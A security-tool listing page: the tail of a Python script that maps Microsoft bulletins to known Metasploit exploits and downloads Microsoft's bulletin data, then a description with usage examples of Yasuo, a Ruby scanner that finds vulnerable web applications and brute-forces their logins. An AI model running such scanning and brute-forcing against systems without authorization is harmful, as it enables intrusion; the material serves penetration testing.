    ['MS06-067', ALERT.MSF],
    ['MS06-066', ALERT.MSF],
    ['MS06-066', ALERT.MSF],
    ['MS06-063', ALERT.MSF],
    ['MS06-057', ALERT.MSF],
    ['MS06-055', ALERT.MSF],
    ['MS06-049', ALERT.EXP],
    ['MS06-040', ALERT.MSF],
    ['MS06-040', ALERT.MSF],
    ['MS06-035', ALERT.MSF],
    ['MS06-025', ALERT.MSF],
    ['MS06-025', ALERT.MSF],
    ['MS06-019', ALERT.MSF],
    ['MS06-013', ALERT.MSF],
    ['MS06-001', ALERT.MSF],
    ['MS05-054', ALERT.MSF],
    ['MS05-047', ALERT.MSF],
    ['MS05-039', ALERT.MSF],
    ['MS05-039', ALERT.MSF],
    ['MS05-030', ALERT.MSF],
    ['MS05-017', ALERT.MSF],
    ['MS05-017', ALERT.MSF],
    ['MS04-045', ALERT.MSF],
    ['MS04-031', ALERT.MSF],
    ['MS04-031', ALERT.MSF],
    ['MS04-011', ALERT.MSF],
    ['MS04-011', ALERT.MSF],
    ['MS04-007', ALERT.MSF],
    ['MS04-007', ALERT.MSF],
    ['MS03-051', ALERT.MSF],
    ['MS03-049', ALERT.MSF],
    ['MS03-049', ALERT.MSF],
    ['MS03-046', ALERT.MSF],
    ['MS03-026', ALERT.MSF],
    ['MS03-026', ALERT.MSF],
    ['MS03-022', ALERT.MSF],
    ['MS03-020', ALERT.MSF],
    ['MS03-007', ALERT.MSF],
    ['MS02-065', ALERT.MSF],
    ['MS02-063', ALERT.MSF],
    ['MS02-056', ALERT.MSF],
    ['MS02-039', ALERT.MSF],
    ['MS02-018', ALERT.MSF],
    ['MS01-033', ALERT.MSF],
    ['MS01-026', ALERT.MSF],
    ['MS01-023', ALERT.MSF],
    ['MS00-094', ALERT.MSF]
  ]

  # return the count of exploits  
  if msid == 0: return len(exploits)

  for exploit in exploits:
    if msid == exploit[0]:
      return exploit[1]
  
  return False

# the update function
def update():

  # compute the filenames to be used
  filenames = '%s-mssb' % datetime.datetime.now().strftime('%Y-%m-%d')
  xlsFile = '%s.%s' % (filenames, 'xls')
  csvFile = '%s.%s' % (filenames, 'csv')

  # url request opener with user-agent
  opener = urllib2.build_opener()
  opener.addheaders = [('User-agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36')]

  # grab the new data from ms and scrape the site
  #try:
  #  response = opener.open(MSSB_URL)
  #except urllib2.URLError, e:
  #  ALERT("error getting url %s" % MSSB_URL, ALERT.BAD)
  #  exit(1)
  #
  #ALERT("successfully requested base url")
  
  # 2016-02-10, ms changed link to http://download.microsoft.com/download/6/7/3/673E4349-1CA5-40B9-8879-095C72D5B49D/BulletinSearch.xlsx
  #
  # now parse the data, ensure we have an mssb link
  # <td>BulletinSearch_20131111_151603.xlsx <span class="green-sniff-recommend">(recommended)</span></td>
  #html = response.read()
  #m = re.findall('url=(.*BulletinSearch.*.xls[x]*)', html)
  # m = re.findall('href="(.*BulletinSearch.*.xlsx)"', html) # old bulletin request url, 20140502

  # ensure we get the bulletin search
  #if m and m[0]:
  bulletinUrl = BULLETIN_URL
  #  ALERT("scraped ms download url")
    # if the file was xlsx, add an x to the extension
  #  if "xlsx" in bulletinUrl: xlsFile += "x"
  #else:
  #  ALERT("error finding the ms download url from previous response", ALERT.BAD)
  #  exit(1)
    
  # now download the mssb file, with a random sleep
  try:    
    #sleep(randint(1,3))
    response = opener.open(bulletinUrl)
  except urllib2.URLError, e:
    ALERT("error getting ms sb url %s" % bulletinUrl, ALERT.BAD)
    exit(1)
    
  bulletinData = response.read()
  
  ALERT("writing to file %s" % xlsFile, ALERT.GOOD)
  f = open(xlsFile, 'wb')
  f.write(bulletinData)
  f.close

# modified ALERT class for exploit and metasploit level logging
class ALERT(object):
  
  def __init__(self, message, level=0, ansi=True):

    # default to ansi alerting, if it's detected as windows platform then disable
    if platform.system() is "Windows": ansi = False

    good = '[+]'
    bad = '[-]'
    normal = '[*]'
  
    msf = '[M]'
    exploit = '[E]'
    
    if ansi == True:
      if level == ALERT.GOOD: print("%s%s%s" % ('\033[1;32m',good,"\033[0;0m")),
      elif level == ALERT.BAD: print("%s%s%s" % ('\033[1;31m',bad,"\033[0;0m")),
      elif level == ALERT.MSF: print("%s%s%s" % ('\033[1;32m',msf,"\033[0;0m")),
      elif level == ALERT.EXP: print("%s%s%s" % ('\033[1;32m',exploit,"\033[0;0m")),
      else: print("%s%s%s" % ('\033[1;34m',normal,"\033[0;0m")),
      
    else:
      if level == ALERT.GOOD: print('%s' % good),
      elif level == ALERT.BAD: print('%s' % bad),
      elif level == ALERT.MSF: print('%s' % msf),
      elif level == ALERT.EXP: print('%s' % exploit),
      else: print('%s' % normal),
      
    print message
  
  @staticmethod
  @property
  def BAD(self): return -1
    
  @staticmethod
  @property
  def NORMAL(self): return 0
    
  @staticmethod
  @property
  def GOOD(self): return 1
    
  @staticmethod
  @property
  def MSF(self): return 2
    
  @staticmethod
  @property
  def EXP(self): return 3

# this helper function will merge a list of lists into one sorted set
def merge_list(li):
  s = []
  if li:
    for l in li:
        if isinstance(l, list): s = s + l
        else: s.append(l)
  return s

if __name__ == '__main__':
  main()

Download zipball  | or git clone
Read More in here : http://blog.gdssecurity.com/ our post BEFORE

Yosuo v2.1- is A ruby script that scans for vulnerable & exploitable 3rd-party web applications on a network.

$
0
0

Changelog v2.1:
+ Added functionality to save good urls in a file that could be used to re-run Yasuo. More explained in readme file
+ just one more cosmetic change

yasuo 2.1

yasuo 2.1

 

Yasuo is a ruby script that scans for vulnerable 3rd-party web applications.

While working on a network security assessment (internal, external, redteam gigs etc.), we often come across vulnerable 3rd-party web applications or web front-ends that allow us to compromise the remote server by exploiting publicly known vulnerabilities. Some of the common & favorite applications are Apache Tomcat administrative interface, JBoss jmx-console, Hudson Jenkins and so on.

If you search through Exploit-db, there are over 10,000 remotely exploitable vulnerabilities that exist in tons of web applications/front-ends and could allow an attacker to completely compromise the back-end server. These vulnerabilities range from RCE to malicious file uploads to SQL injection to RFI/LFI etc.
Yasuo is built to quickly scan the network for such vulnerable applications thus serving pwnable targets on a silver platter.

Setup / Install

gem install ruby-nmap net-http-persistent mechanize text-table
git clone https://github.com/0xsauby/yasuo
cd yasuo
./yasuo.rb
update
git pull origin master

Details

Yasuo provides following command-line options:

-r :: If you want Yasuo to perform port scan, use this switch to provide an IP address or IP range or an input file with new-line separated IP addresses

-f :: If you do not want Yasuo to perform port scan and already have an nmap output in xml format, use this switch to feed the nmap output

-n :: Tells Yasuo to not ping the host while performing the port scan. Standard nmap option.

-p :: Use this switch to provide port number(s)/range

-A :: Use this switch to scan all the 65535 ports. Standard nmap option.

-b [all/form/basic] :: If the discovered application implements authentication, use this switch to brute-force the auth. "all" will brute-force both form & http basic auth. "form" will only brute-force form-based auth. "basic" will only brute-force http basic auth.

-h :: Well, take a guess

Examples
./yasuo -r 127.0.0.1 -p 80,8080,443,8443 -b form
The above command will perform port scan against 127.0.0.1 on ports 80, 8080, 443 and 8443 and will brute-force login for all the applications that implement form-based authentication.

./yasuo -f my_nmap_output.xml -b all
The above command will parse the nmap output file “my_nmap_output.xml” and will brute-force login for all the applications that implement form-based and http basic authentication.

Download : Master.zip  | Clone Url
Source : https://github.com/0xsauby | Our Post Before

Viewing all 514 articles
Browse latest View live